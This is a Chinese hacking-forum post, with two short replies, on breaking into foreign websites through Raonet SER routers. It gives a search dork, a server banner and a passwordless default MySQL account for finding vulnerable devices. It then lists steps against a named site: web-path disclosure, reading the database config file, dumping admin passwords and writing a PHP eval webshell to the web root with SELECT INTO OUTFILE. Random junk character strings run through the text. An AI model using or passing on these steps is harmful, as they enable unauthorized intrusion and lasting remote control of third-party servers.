利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
0 E8 j6 h. y  l
1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

9 b7 j7 c4 {! B; E6 g$ ]" h3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
! u# I4 i# u1 a. V# I- h

8 v: o4 ?* B3 L3 k3 \6 ^! N
+ ]! e2 d; u; \4 \5 u# X( H+ J入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
4 i4 G9 X3 ^6 d) @use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
6 R1 t& ?; q, N1 Oinsert into ok values("<?php @eval($_POST[cmd])?>");
: [7 c) r2 j8 G5 Rselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
3 c; s- _9 R4 L; n# M8 e2 Ddrop table ok;

) ~# k5 L! |4 @9 |5:连接后门shell.php

3 v0 s( D" M+ S' [  {& z6. 搞定！
& d2 V- g( Q8 m. t* U$ k  t2 O7 _
% _" E9 D: u# H* P: z

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。